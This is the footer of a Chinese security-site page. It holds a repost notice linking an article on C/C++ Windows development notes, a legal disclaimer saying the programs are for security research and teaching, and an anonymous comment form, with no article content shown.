  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【c/c++ 】Windows 开发笔记[三]https://cn-sec.com/archives/3160480.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息